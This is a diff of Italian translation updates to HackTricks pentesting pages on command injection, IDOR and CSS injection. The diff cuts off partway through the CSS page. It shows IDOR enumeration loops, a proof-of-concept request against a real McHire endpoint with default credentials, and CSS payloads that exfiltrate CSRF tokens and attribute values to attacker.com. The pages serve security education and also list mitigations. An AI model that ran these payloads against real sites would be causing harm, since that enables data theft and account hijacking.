+`exec()` avvia una **shell** (`/bin/sh -c`), quindi qualsiasi carattere che abbia un significato speciale per la shell (back-ticks, `;`, `&&`, `|`, `$()`, …) provocherà una **command injection** quando l'input utente viene concatenato nella stringa.
 
-**Mitigazione:** usa `execFile()` (o `spawn()` senza l'opzione `shell`) e fornisci **ogni argomento come un elemento separato dell'array** in modo che non sia coinvolta alcuna shell:
+**Mitigazione:** usa `execFile()` (o `spawn()` senza l'opzione `shell`) e fornisci **ogni argomento come elemento separato dell'array** in modo che nessuna shell sia coinvolta:
 ```javascript
 const { execFile } = require('child_process');
 execFile('/usr/bin/do-something', [
@@ -140,9 +140,9 @@ execFile('/usr/bin/do-something', [
 '--payload', JSON.stringify(payload)
 ]);
 ```
-Caso reale: *Synology Photos* ≤ 1.7.0-0794 era sfruttabile tramite un evento WebSocket non autenticato che inseriva dati controllati dall'attaccante in `id_user`, poi incorporati in una chiamata `exec()`, ottenendo RCE (Pwn2Own Ireland 2024).
+Caso reale: *Synology Photos* ≤ 1.7.0-0794 era sfruttabile tramite un evento WebSocket non autenticato che inseriva dati controllati dall'attaccante in `id_user` che venivano poi incorporati in una chiamata `exec()`, ottenendo RCE (Pwn2Own Ireland 2024).
 
-## Elenco di rilevamento Brute-Force
+## Lista di rilevamento per Brute-Force
 
 
 {{#ref}}

src/pentesting-web/idor.md

@@ -2,23 +2,23 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) appare quando un endpoint web o API divulga o accetta un identificatore controllabile dall'utente che viene usato **direttamente** per accedere a un oggetto interno **senza verificare che il chiamante sia autorizzato** ad accedere/modificare quell'oggetto.
-Un'exploitation riuscita normalmente permette privilege-escalation orizzontale o verticale come leggere o modificare i dati di altri utenti e, nel peggiore dei casi, un completo account takeover o esfiltrazione massiva di dati.
+IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) si verifica quando un endpoint web o API divulga o accetta un identificatore controllabile dall'utente che viene usato **direttamente** per accedere a un oggetto interno **senza verificare che il chiamante sia autorizzato** ad accedere/modificare quell'oggetto.
+Un exploit riuscito normalmente permette escalation di privilegi orizzontale o verticale, come leggere o modificare i dati di altri utenti e, nel peggiore dei casi, takeover completo degli account o esfiltrazione di massa dei dati.
 
 ---
-## 1. Identificazione di potenziali IDOR
+## 1. Identificazione dei potenziali IDOR
 
-1. Look for **parameters that reference an object**:
-* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
+1. Cerca **parametri che fanno riferimento a un oggetto**:
+* Percorso: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
 * Query: `?id=42`, `?invoice=2024-00001`
 * Body / JSON: `{"user_id": 321, "order_id": 987}`
-* Headers / Cookies: `X-Client-ID: 4711`
+* Header / Cookie: `X-Client-ID: 4711`
 2. Preferisci endpoint che **leggono o aggiornano** dati (`GET`, `PUT`, `PATCH`, `DELETE`).
 3. Nota quando gli identificatori sono **sequenziali o prevedibili** – se il tuo ID è `64185742`, allora `64185741` probabilmente esiste.
 4. Esplora flussi nascosti o alternativi (es. il link *"Paradox team members"* nelle pagine di login) che potrebbero esporre API aggiuntive.
-5. Usa una **sessione autenticata a basso privilegio** e cambia solo l'ID **mantenendo lo stesso token/cookie**. L'assenza di un errore di autorizzazione è di solito un segno di IDOR.
+5. Usa una **sessione autenticata con privilegi bassi** e cambia solo l'ID **mantenendo lo stesso token/cookie**. L'assenza di un errore di autorizzazione è solitamente un segnale di IDOR.
 
-### Modifica manuale rapida (Burp Repeater)
+### Tampering manuale rapido (Burp Repeater)
 ```
 PUT /api/lead/cem-xhr HTTP/1.1
 Host: www.example.com
@@ -27,7 +27,7 @@ Content-Type: application/json
 
 {"lead_id":64185741}
 ```
-### Enumerazione automatizzata (Burp Intruder / curl loop)
+### Enumerazione automatica (Burp Intruder / curl loop)
 ```bash
 for id in $(seq 64185742 64185700); do
 curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
@@ -36,62 +36,60 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
 -d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
 done
 ```
----
+### Oracle di risposta d'errore per l'enumerazione di utenti/file
 
-### Error-response oracle for user/file enumeration
+Quando un endpoint di download accetta sia un username che un filename (es. `/view.php?username=<u>&file=<f>`), sottili differenze nei messaggi di errore spesso creano un oracle:
 
-Quando un download endpoint accetta sia un username che un filename (es. `/view.php?username=<u>&file=<f>`), differenze sottili nei messaggi di errore spesso creano un oracle:
+- Username inesistente → "User not found"
+- Filename errato ma estensione valida → "File does not exist" (a volte elenca anche i file disponibili)
+- Estensione non valida → errore di validazione
 
-- username inesistente → "User not found"
-- filename errato ma extension valida → "File does not exist" (a volte elenca anche i file disponibili)
-- extension non valida → validation error
-
-Con qualsiasi authenticated session, puoi fuzz il parametro username tenendo un benign filename e filtrare sulla stringa "user not found" per scoprire utenti validi:
+Con qualsiasi sessione autenticata, puoi fare fuzz sul parametro username mantenendo un filename benigno e filtrare sulla stringa "user not found" per scoprire utenti validi:
 ```bash
 ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
 -b 'PHPSESSID=<session-cookie>' \
 -w /opt/SecLists/Usernames/Names/names.txt \
 -fr 'User not found'
 ```
-Una volta identificati nomi utente validi, richiedere file specifici direttamente (es. `/view.php?username=amanda&file=privacy.odt`). Questo schema porta spesso alla divulgazione non autorizzata dei documenti di altri utenti e alla fuga di credenziali.
+Una volta identificati nomi utente validi, richiedere file specifici direttamente (es., `/view.php?username=amanda&file=privacy.odt`). Questo pattern porta comunemente alla divulgazione non autorizzata dei documenti di altri utenti e a credential leakage.
 
 ---
-## 2. Caso di Studio Reale – Piattaforma Chatbot McHire (2025)
+## 2. Caso di studio reale – McHire Chatbot Platform (2025)
 
-Durante una valutazione del portale di reclutamento Paradox.ai-powered **McHire** è stato scoperto il seguente IDOR:
+Durante la valutazione del portale di recruitment McHire, powered da Paradox.ai, è stato scoperto il seguente IDOR:
 
 * Endpoint: `PUT /api/lead/cem-xhr`
-* Autorizzazione: cookie di sessione utente per **qualsiasi** account di test del ristorante
-* Parametro del body: `{"lead_id": N}` – identificatore numerico a 8 cifre, **sequenziale**
+* Authorization: user session cookie per **qualsiasi** account di test del ristorante
+* Body parameter: `{"lead_id": N}` – identificatore numerico di 8 cifre, **sequenziale**
 
-Diminuendo `lead_id` il tester ha ottenuto la **full PII** di candidati arbitrari (name, e-mail, phone, address, shift preferences) oltre a un consumer **JWT** che ha consentito il session hijacking. L'enumerazione dell'intervallo `1 – 64,185,742` ha esposto circa **64 million** record.
+Diminuendo `lead_id` il tester ha recuperato i **full PII** di candidati arbitrari (nome, e-mail, telefono, indirizzo, preferenze di turno) oltre a un consumer **JWT** che ha permesso session hijacking. L'enumerazione dell'intervallo `1 – 64,185,742` ha esposto approssimativamente **64 milioni** di record.
 
-Proof-of-Concept request:
+Richiesta Proof-of-Concept:
 ```bash
 curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
 -H 'Content-Type: application/json' \
 -d '{"lead_id":64185741}'
 ```
-Combinata con le **credenziali admin predefinite** (`123456:123456`) che garantivano l'accesso all'account di test, la vulnerabilità ha portato a una violazione critica dei dati a livello aziendale.
+Combinata con **default admin credentials** (`123456:123456`) che concedevano accesso all'account di test, la vulnerabilità ha causato una violazione dei dati critica a livello aziendale.
 
 ---
 ## 3. Impatto di IDOR / BOLA
-* Escalation orizzontale – leggere/aggiornare/cancellare i dati di **altri utenti**.
-* Escalation verticale – utente con basso privilegio ottiene funzionalità riservate agli admin.
-* Violazione massiva dei dati se gli identificatori sono sequenziali (es., ID dei candidati, fatture).
-* Acquisizione di account rubando token o reimpostando le password di altri utenti.
+* Escalation orizzontale – lettura/aggiornamento/cancellazione dei dati di **altri utenti**.
+* Escalation verticale – un utente a basso privilegio ottiene funzionalità riservate agli admin.
+* Violazione massiva dei dati se gli identificatori sono sequenziali (es. ID dei candidati, fatture).
+* Dirottamento di account rubando token o reimpostando le password di altri utenti.
 
 ---
 ## 4. Mitigazioni & Best Practices
-1. **Applica l'autorizzazione a livello di oggetto** su ogni richiesta (`user_id == session.user`).
+1. **Applicare l'autorizzazione a livello di oggetto** ad ogni richiesta (`user_id == session.user`).
 2. Preferire **identificatori indiretti e non indovinabili** (UUIDv4, ULID) invece di ID auto-incrementali.
-3. Eseguire le autorizzazioni **lato server**, non fare mai affidamento su campi form nascosti o controlli UI.
+3. Eseguire l'autorizzazione **server-side**, non fare mai affidamento su campi form nascosti o controlli UI.
 4. Implementare controlli **RBAC / ABAC** in un middleware centrale.
 5. Aggiungere **rate-limiting & logging** per rilevare l'enumerazione degli ID.
-6. Testare la sicurezza di ogni nuovo endpoint (unitari, di integrazione e DAST).
+6. Testare la sicurezza di ogni nuovo endpoint (unit, integration e DAST).
 
 ---
-## 5. Tooling
+## 5. Strumenti
 * **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
 * **OWASP ZAP**: Auth Matrix, Forced Browse.
 * **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
@@ -101,6 +99,6 @@ Combinata con le **credenziali admin predefinite** (`123456:123456`) che garanti
 ## Riferimenti
 * [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
 * [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
-* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
-* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
+* [Come trovare più IDOR – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
+* [HTB Nocturnal: IDOR oracle → furto di file](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-web/xs-search/css-injection/README.md

@@ -4,9 +4,9 @@
 
 ## CSS Injection
 
-### Selettore di attributo
+### Attribute Selector
 
-I selettori CSS sono creati per corrispondere ai valori degli attributi `name` e `value` di un elemento `input`. Se l'attributo `value` dell'elemento `input` inizia con un carattere specifico, viene caricata una risorsa esterna predefinita:
+I selettori CSS sono costruiti per corrispondere ai valori degli attributi `name` e `value` di un elemento `input`. Se l'attributo `value` dell'elemento `input` inizia con un carattere specifico, viene caricata una risorsa esterna predefinita:
 ```css
 input[name="csrf"][value^="a"] {
 background-image: url(https://attacker.com/exfil/a);
@@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
 background-image: url(https://attacker.com/exfil/9);
 }
 ```
-Tuttavia, questo approccio presenta una limitazione quando si tratta di elementi input nascosti (`type="hidden"`) perché gli elementi nascosti non caricano gli sfondi.
+Tuttavia, questo approccio presenta una limitazione quando si lavora con elementi input nascosti (`type="hidden"`) perché gli elementi nascosti non caricano gli sfondi.
 
 #### Bypass per elementi nascosti
 
-Per aggirare questa limitazione, puoi puntare a un elemento sibling successivo utilizzando il combinatore general sibling `~`. La regola CSS viene quindi applicata a tutti i sibling che seguono l'elemento input nascosto, causando il caricamento dell'immagine di sfondo:
+Per aggirare questa limitazione, puoi mirare a un elemento fratello successivo usando il combinatore general sibling `~`. La regola CSS si applicherà quindi a tutti i fratelli successivi all'elemento input nascosto, causando il caricamento dell'immagine di sfondo:
 ```css
 input[name="csrf"][value^="csrF"] ~ * {
 background-image: url(https://attacker.com/exfil/csrF);
 }
 ```
-Un esempio pratico dello sfruttamento di questa tecnica è dettagliato nello snippet di codice fornito. Puoi vederlo [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
+Un esempio pratico di sfruttamento di questa tecnica è dettagliato nello snippet di codice fornito. Puoi vederlo [qui](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
 
 #### Prerequisiti per CSS Injection
 
-Perché la tecnica CSS Injection sia efficace, devono essere soddisfatte determinate condizioni:
+Perché la tecnica CSS Injection sia efficace, devono essere soddisfatte alcune condizioni:
 
-1. **Payload Length**: Il vettore di CSS injection deve supportare payloads sufficientemente lunghi per ospitare i crafted selectors.
-2. **CSS Re-evaluation**: Devi avere la possibilità di effettuare il framing della pagina, necessario per innescare la rivalutazione del CSS con payloads appena generati.
-3. **External Resources**: La tecnica presuppone la capacità di utilizzare immagini ospitate esternamente. Questo potrebbe essere limitato dalla Content Security Policy (CSP) del sito.
+1. **Payload Length**: Il vettore di CSS injection deve supportare payload sufficientemente lunghi per ospitare i selettori creati.
+2. **CSS Re-evaluation**: Dovresti avere la possibilità di mettere la pagina in un frame, necessario per innescare la rivalutazione del CSS con payload appena generati.
+3. **External Resources**: La tecnica presuppone la possibilità di usare immagini ospitate esternamente. Questo può essere limitato dalla Content Security Policy (CSP) del sito.
 
 ### Blind Attribute Selector
 
-As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\
-It's also possible to use those selectors to extract information from several block of the same type like in:
+Come [**spiegato in questo post**](https://portswigger.net/research/blind-css-exfiltration), è possibile combinare i selettori **`:has`** e **`:not`** per identificare contenuti anche da elementi non visibili. Questo è molto utile quando non si ha idea di cosa ci sia nella pagina web che carica la CSS injection.\
+È anche possibile usare quei selettori per estrarre informazioni da più blocchi dello stesso tipo, come in:
 ```html
 <style>
 html:has(input[name^="m"]):not(input[name="mytoken"]) {
@@ -56,25 +56,25 @@ Combinando questo con la seguente tecnica **@import**, è possibile esfiltrare m
 
 ### @import
 
-La tecnica precedente ha alcuni svantaggi, verifica i prerequisiti. Devi o essere in grado di **inviare più link alla vittima**, oppure devi poter **inserire la pagina vulnerabile a CSS injection in un iframe**.
+La tecnica precedente presenta alcuni limiti, controlla i prerequisiti. Devi essere in grado o di **inviare più link al victim**, o di poter **includere in iframe la pagina vulnerabile a CSS injection**.
 
-Tuttavia, c'è un'altra tecnica ingegnosa che utilizza **CSS `@import`** per migliorare l'efficacia della tecnica.
+Tuttavia, esiste un'altra tecnica astuta che usa **CSS `@import`** per migliorare l'efficacia della tecnica.
 
 Questo è stato mostrato per la prima volta da [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) e funziona così:
 
-Invece di caricare la stessa pagina più e più volte con decine di payload diversi ogni volta (come nel metodo precedente), caricheremo la pagina una sola volta e solo con un import verso il server dell'attaccante (questo è il payload da inviare alla vittima):
+Invece di caricare la stessa pagina più volte con decine di payload differenti ogni volta (come nella precedente), caricheremo la pagina una sola volta e soltanto con un import verso il server dell'attacker (questo è il payload da inviare alla victim):
 ```css
 @import url("//attacker.com:5001/start?");
 ```
-1. L'`@import` riceverà **uno script CSS** dagli attaccanti e il **browser lo caricherà**.
-2. La prima parte dello script CSS che gli attaccanti invieranno è **un altro `@import` al server degli attaccanti.**
-1. Il server degli attaccanti non risponderà a questa richiesta ancora, perché vogliamo effettuare un leak di alcuni caratteri e poi rispondere a questo import con il payload per ottenere i leak successivi.
-3. La seconda e più grande parte del payload sarà un **attribute selector leakage payload**
-1. Questo invierà al server degli attaccanti il **primo carattere del segreto e l'ultimo**
-4. Una volta che il server degli attaccanti ha ricevuto il **primo e l'ultimo carattere del segreto**, risponderà all'`@import` richiesto nel passo 2.
-1. La risposta sarà esattamente la stessa dei **passi 2, 3 e 4**, ma questa volta tenterà di **trovare il secondo carattere del segreto e poi il penultimo**.
+1. L'importazione riceverà **uno script CSS** dagli attacker e il **browser lo caricherà**.
+2. La prima parte dello script CSS che l'attacker invierà è **un altro `@import` verso il server dell'attacker**.
+1. Il server dell'attacker non risponderà ancora a questa richiesta, perché vogliamo leak alcuni caratteri e poi rispondere a questo import con il payload per leakare i successivi.
+3. La seconda e più grossa parte del payload sarà un **payload di esfiltrazione tramite attribute selector**
+1. Questo invierà al server dell'attacker il **primo carattere del secret e l'ultimo**
+4. Una volta che il server dell'attacker ha ricevuto il **primo e l'ultimo carattere del secret**, risponderà all'import richiesto nel passo 2.
+1. La risposta sarà esattamente la stessa dei **passi 2, 3 e 4**, ma questa volta cercherà di **trovare il secondo carattere del secret e poi il penultimo**.
 
-L'attaccante **seguirà quel ciclo finché non riuscirà a effettuare il leak completo del segreto**.
+L'attacker seguirà quel ciclo fino a quando non riuscirà a leakare completamente il secret.
 
 You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
 
@@ -93,33 +93,33 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi
 > }
 > ```
 >
-> Questo permette allo script di leakare il segreto più velocemente.
+> Questo permette allo script di leakare il secret più velocemente.
 
 > [!WARNING]
-> A volte lo script **non rileva correttamente che il prefisso + suffisso scoperti corrispondono già alla flag completa** e continuerà ad andare avanti (nel prefisso) e indietro (nel suffisso) e a un certo punto si bloccherà.\
-> Nessuna preoccupazione, controlla semplicemente l'**output** perché **puoi vedere la flag lì**.
+> A volte lo script **non rileva correttamente che il prefisso + suffisso scoperto è già la flag completa** e continuerà avanti (nel prefisso) e indietro (nel suffisso) e a un certo punto si bloccherà.\
+> Nessun problema, controlla semplicemente l'**output** perché **puoi vedere la flag lì**.
 
 ### Inline-Style CSS Exfiltration (attr() + if() + image-set())
 
-Questa primitiva permette l'esfiltrazione usando solo l'attributo style inline di un elemento, senza selector o fogli di stile esterni. Si basa sulle proprietà CSS custom, sulla funzione attr() per leggere attributi dello stesso elemento, sui nuovi condizionali CSS if() per le ramificazioni, e su image-set() per scatenare una richiesta di rete che codifica il valore corrispondente.
+This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
 
 > [!WARNING]
-> Le comparazioni di uguaglianza in if() richiedono doppi apici per le stringhe letterali. Le virgolette singole non corrisponderanno.
+> I confronti di uguaglianza in if() richiedono doppi apici per i literal stringa. Gli apici singoli non corrisponderanno.
 
-- Sink: controllare l'attributo style di un elemento e assicurarsi che l'attributo target sia sullo stesso elemento (attr() legge solo attributi dello stesso elemento).
-- Read: copiare l'attributo in una variabile CSS: `--val: attr(title)`.
-- Decide: selezionare un URL usando condizionali nidificati che confrontano la variabile con candidati stringa: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
-- Exfiltrate: applicare `background: image-set(var(--steal))` (o qualsiasi proprietà che esegue fetch) per forzare una richiesta all'endpoint scelto.
+- Sink: controlla l'attributo style di un elemento e assicurati che l'attributo target sia sullo stesso elemento (attr() legge solo attributi dello stesso elemento).
+- Read: copia l'attributo in una variabile CSS: `--val: attr(title)`.
+- Decide: seleziona un URL usando condizionali annidati confrontando la variabile con candidate stringhe: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
+- Exfiltrate: applica `background: image-set(var(--steal))` (o qualsiasi proprietà che effettua fetch) per forzare una richiesta all'endpoint scelto.
 
 Attempt (does not work; single quotes in comparison):
 ```html
 <div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
 ```
-Payload funzionante (virgolette doppie richieste nella comparazione):
+Working payload (virgolette doppie richieste nella comparazione):
 ```html
 <div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
 ```
-Enumerazione dei valori degli attributi con condizioni annidate:
+Enumerazione dei valori degli attributi con condizionali annidati:
 ```html
 <div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
 ```
@@ -129,18 +129,18 @@ Demo realistico (probing usernames):
 ```
 Note e limitazioni:
 
-- Funziona sui browser basati su Chromium al momento della ricerca; il comportamento può differire su altri motori.
-- Più adatto a spazi di valori finiti/enumerabili (IDs, flags, short usernames). Rubare stringhe arbitrariamente lunghe senza fogli di stile esterni rimane impegnativo.
+- Funziona sui browser basati su Chromium al momento della ricerca; il comportamento potrebbe differire su altri motori.
+- Più adatto per spazi di valori finiti/enumerabili (IDs, flags, username brevi). Rubare stringhe arbitrariamente lunghe senza fogli di stile esterni resta difficile.
 - Qualsiasi proprietà CSS che recupera un URL può essere usata per innescare la richiesta (es., background/image-set, border-image, list-style, cursor, content).
 
-Automazione: una Burp Custom Action può generare payload inline-style annidati per brute-force dei valori degli attributi: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
+Automazione: a Burp Custom Action può generare nested inline-style payloads per brute-force dei valori degli attributi: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
 
-### Altri selettori
+### Other selectors
 
-Altri modi per accedere a parti del DOM con **CSS selectors**:
+Altri modi per accedere a parti del DOM con **selettori CSS**:
 
 - **`.class-to-search:nth-child(2)`**: Questo cercherà il secondo elemento con la classe "class-to-search" nel DOM.
-- **`:empty`** selector: Utilizzato ad esempio in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
+- **`:empty`** selector: Used for example in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
 
 ```css
 [role^="img"][aria-label="1"]:empty {
@@ -152,7 +152,7 @@ background-image: url("YOUR_SERVER_URL?1");
 
 **Riferimenti:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
 
-L'intenzione complessiva è **utilizzare un font personalizzato da un endpoint controllato** e assicurarsi che **il testo (in questo caso, 'A') venga visualizzato con questo font solo se la risorsa specificata (`favicon.ico`) non può essere caricata**.
+L'intento generale è **usare un font custom da un endpoint controllato** e assicurarsi che **il testo (in questo caso, 'A') venga mostrato con questo font solo se la risorsa specificata (`favicon.ico`) non può essere caricata**.
 ```html
 <!DOCTYPE html>
 <html>
@@ -174,23 +174,23 @@ font-family: "poc";
 </body>
 </html>
 ```
-1. **Utilizzo di font personalizzato**:
+1. **Uso di font personalizzato**:
 
 - Un font personalizzato è definito usando la regola `@font-face` all'interno di un tag `<style>` nella sezione `<head>`.
 - Il font si chiama `poc` ed è recuperato da un endpoint esterno (`http://attacker.com/?leak`).
-- La proprietà `unicode-range` è impostata su `U+0041`, mirata al carattere Unicode specifico 'A'.
+- La proprietà `unicode-range` è impostata su `U+0041`, mirando al carattere Unicode specifico 'A'.
 
-2. **Elemento <object> con testo di fallback**:
+2. **Object Element con testo di fallback**:
 - Un elemento `<object>` con `id="poc0"` è creato nella sezione `<body>`. Questo elemento tenta di caricare una risorsa da `http://192.168.0.1/favicon.ico`.
-- Il `font-family` per questo elemento è impostato a `'poc'`, come definito nella sezione `<style>`.
+- La `font-family` per questo elemento è impostata su `'poc'`, come definito nella sezione `<style>`.
 - Se la risorsa (`favicon.ico`) non riesce a caricarsi, il contenuto di fallback (la lettera 'A') all'interno del tag `<object>` viene mostrato.
-- Il contenuto di fallback ('A') verrà renderizzato usando il font personalizzato `poc` se la risorsa esterna non può essere caricata.
+- Il contenuto di fallback ('A') sarà renderizzato usando il font personalizzato `poc` se la risorsa esterna non può essere caricata.
 
-### Styling Scroll-to-Text Fragment
+### Stilizzazione dello Scroll-to-Text Fragment
 
-La pseudo-classe **`:target`** viene impiegata per selezionare un elemento indirizzato da un **URL fragment**, come specificato nella [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). È fondamentale capire che `::target-text` non corrisponde a nessun elemento a meno che il testo non sia esplicitamente indirizzato dal fragment.
+La pseudo-classe **`:target`** è usata per selezionare un elemento destinato da un **frammento URL**, come specificato nella [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). È fondamentale capire che `::target-text` non corrisponde ad alcun elemento a meno che il testo non sia esplicitamente mirato dal frammento.
 
-Si crea una problematica di sicurezza quando gli attaccanti sfruttano la feature **Scroll-to-text** fragment, permettendo loro di confermare la presenza di testo specifico su una pagina web caricando una risorsa dal proprio server tramite HTML injection. Il metodo consiste nell'iniettare una regola CSS come questa:
+Si presenta un problema di sicurezza quando gli attackers sfruttano la funzionalità **Scroll-to-text**, permettendo loro di confermare la presenza di testo specifico in una pagina web caricando una risorsa dal loro server tramite HTML injection. Il metodo prevede l'iniezione di una regola CSS come la seguente:
 ```css
 :target::before {
 content: url(target.png);
@@ -200,23 +200,23 @@ In tali scenari, se il testo "Administrator" è presente nella pagina, la risors
 ```
 http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
 ```
-Qui, l'attacco manipola un'iniezione HTML per trasmettere il codice CSS, mirando al testo specifico "Administrator" tramite lo Scroll-to-text fragment (`#:~:text=Administrator`). Se il testo viene trovato, la risorsa indicata viene caricata, segnalandone involontariamente la presenza all'attaccante.
+Qui, l'attacco manipola HTML injection per trasmettere il codice CSS, mirando al testo specifico "Administrator" tramite lo Scroll-to-text fragment (`#:~:text=Administrator`). Se il testo viene trovato, la risorsa indicata viene caricata, segnalandone involontariamente la presenza all'attaccante.
 
-Per mitigare, si devono considerare i seguenti punti:
+Per la mitigazione, si devono considerare i seguenti punti:
 
-1. **Corrispondenza STTF limitata**: Scroll-to-text Fragment (STTF) è progettato per corrispondere solo parole o frasi, limitando quindi la sua capacità di leakare segreti o token arbitrari.
-2. **Restrizione ai contesti di navigazione top-level**: STTF opera esclusivamente nei contesti di navigazione top-level e non funziona all'interno di iframes, rendendo qualsiasi tentativo di sfruttamento più visibile all'utente.
-3. **Necessità di attivazione da parte dell'utente**: STTF richiede un gesto di attivazione da parte dell'utente per funzionare, il che significa che gli exploit sono possibili solo tramite navigazioni avviate dall'utente. Questo requisito mitiga considerevolmente il rischio che attacchi siano automatizzati senza interazione dell'utente. Tuttavia, l'autore del blog post indica condizioni specifiche e bypass (ad es., social engineering, interazione con estensioni del browser diffuse) che potrebbero facilitare l'automazione dell'attacco.
+1. **Corrispondenza STTF limitata**: Scroll-to-text Fragment (STTF) è progettato per corrispondere solo parole o frasi, limitando così la sua capacità di leakare segreti o token arbitrari.
+2. **Restrizione ai contesti di navigazione di livello superiore**: STTF opera soltanto in top-level browsing contexts e non funziona all'interno di iframes, rendendo qualsiasi tentativo di exploitation più evidente per l'utente.
+3. **Necessità di attivazione da parte dell'utente**: STTF richiede un gesto di user-activation per funzionare, il che significa che le exploitation sono realizzabili solo tramite navigazioni avviate dall'utente. Questo requisito mitiga considerevolmente il rischio che attacchi vengano automatizzati senza interazione dell'utente. Tuttavia, l'autore del blog post segnala condizioni specifiche e bypasses (es. social engineering, interazione con diffusi browser extensions) che potrebbero facilitare l'automazione dell'attacco.
 
 La consapevolezza di questi meccanismi e delle potenziali vulnerabilità è fondamentale per mantenere la sicurezza web e proteggersi da tali tattiche di sfruttamento.
 
-Per maggiori informazioni, consulta il report originale: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
+Per maggiori informazioni consulta il report originale: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
 
-Puoi vedere un [**exploit che utilizza questa tecnica per un CTF qui**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
+You can check an [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
 
 ### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
 
-È possibile specificare **font esterni per specifici valori unicode** che verranno **raccolti solo se tali valori unicode sono presenti** nella pagina. Per esempio:
+Puoi specificare **font esterni per specifici valori unicode** che saranno **scaricati solo se quei valori unicode sono presenti** nella pagina. Per esempio:
 ```html
 <style>
 @font-face {
@@ -248,19 +248,19 @@ When you access this page, Chrome and Firefox fetch "?A" and "?B" because text n
 
 **Riferimento:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
 
-La tecnica descritta consiste nell'estrarre testo da un nodo sfruttando le ligatures dei font e monitorando le variazioni di larghezza. Il processo comprende diversi passaggi:
+La tecnica descritta consiste nell'estrarre testo da un node sfruttando le font ligatures e monitorando le variazioni di larghezza. Il processo prevede diversi passaggi:
 
 1. **Creation of Custom Fonts**:
 
-- SVG fonts are crafted with glyphs having a `horiz-adv-x` attribute, which sets a large width for a glyph representing a two-character sequence.
-- Example SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, where "XY" denotes a two-character sequence.
-- These fonts are then converted to woff format using fontforge.
